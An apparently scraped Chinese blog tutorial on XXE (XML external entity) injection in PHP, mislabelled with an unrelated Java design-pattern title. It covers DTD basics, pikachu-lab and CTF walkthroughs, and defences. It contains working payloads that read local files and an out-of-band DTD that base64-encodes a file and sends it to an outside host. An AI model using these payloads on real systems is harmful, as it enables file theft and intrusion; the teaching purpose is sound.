1. 程式人生 > 實用技巧 >java設計模式-抽象工廠模式

java設計模式-抽象工廠模式

一.XXE的原理

運維人員使用了低版本php,libxml低於2.9.1就會造成XXE或者程式設計師設定了libxml_disable_entity_loader(FALSE);

要點:libxml2.9.1及以後,預設不解析外部實體。測試的時候windows下使用的是php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux中需要將libxml低於libxml2.9.1的版本編譯到PHP中,可以使用phpinfo()檢視libxml的版本資訊。

如圖,libxml低於2.9.1,說明存在XXE漏洞

二.XXE的定義

XML用於標記電子檔案使其具有結構性的標記語言,可以用來標記資料、定義資料型別,是一種允許使用者對自己的標記語言進行定義的源語言。XML文件結構包括XML宣告、DTD文件型別定義(可選)、文件元素。

三.XXE的文件結構

<?xml version=”1.0” encoding="gb2312" encoding=”UTF-8”?>

xml宣告、版本(gb2312表示中國)、編碼(UTF-8指的是萬能編碼,它支援各個國家的語言)

<!DOCTYPE root system "http://www.XXXX.com/file"[ ...

定義DTD檔案,格式為:root指定根節點名稱,system宣告要使用的外部DTD檔案路徑,後面加檔案URL,注意[]包裹。

<!ELEMENT root (other)> ...

元素宣告,宣告xml中包含的元素,宣告中需要指定元素名稱(root、other等)和元素類別、內容等

四.DTD的基礎知識

基本的PAYLOAD結構:

DTD實體宣告

內部實體宣告

示例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe"oldboyedu.com">]>
<foo>&xxe;</foo>

外部實體宣告

任何語言都支援file、http、ftp協議

示例:

<!DOCTYPE foo [<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM"file:///c:/windows/win.ini">]>
<foo>&xxe;</foo>

引數實體宣告

示例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM"http://192.168.0.105:8080/evil.dtd">
%xxe;]>
<foo>&evil;</foo>

五.XXE攻擊

有回顯情況

示例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM"http://xxx.xxx.xxx/evil.dtd">
%xxe;]>
<foo>&evil;</foo>

無回顯情況

建立*.dtd

示例:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.0.105:8080?p=%file;'>">

定義DTD檔案上傳到伺服器,然後呼叫就可以了

xml呼叫

示例:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

把顯示在日誌裡的結果通過burp suite解密

六.XXE漏洞利用及相關擴充套件知識

pikachu xxe程式碼

<?xml version = "1.0"?>

<!DOCTYPE ANY [

<!ENTITY f SYSTEM "file:///C://1.txt">

]>

<x>&f;</x>

示例:

開啟pikachu,通過Burp suite 抓包(1.挖XXE漏洞首先找有引數的地方2.看他的accept頭允許哪種語言,發現xml說明允許xml提交語言3.可以在引數出隨意輸入值(因為引數沒有過濾,其次libxml低於2.9)

還有一種方法就是看xml後面是否是XXE編碼

找到漏洞後,輸入程式碼:<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///C://2.txt"> ]> <x>&f;</x>

jarvisoj上的一道題目API呼叫

這道題的題目說明是 請設法獲得目標機器/home/ctf/flag.txt中的flag值。

進入題目http://web.jarvisoj.com:9882/發現一個輸入框,我們對其進行抓包

把json改為xml,把最後一行復製為

<?xml version = "1.0"?>
<!DOCTYPE xxe [
<!ENTITY file SYSTEM "file:///home/ctf/flag.txt">
]>
<x>&file;</x>

七.XXE漏洞修復與防禦

複製一行程式碼

libxml_disable_entity_loader(true);

升級為高版本

手動黑名單過濾

過濾關鍵詞:<!DOCTYPE<!ENTITY SYSTEMPUBLIC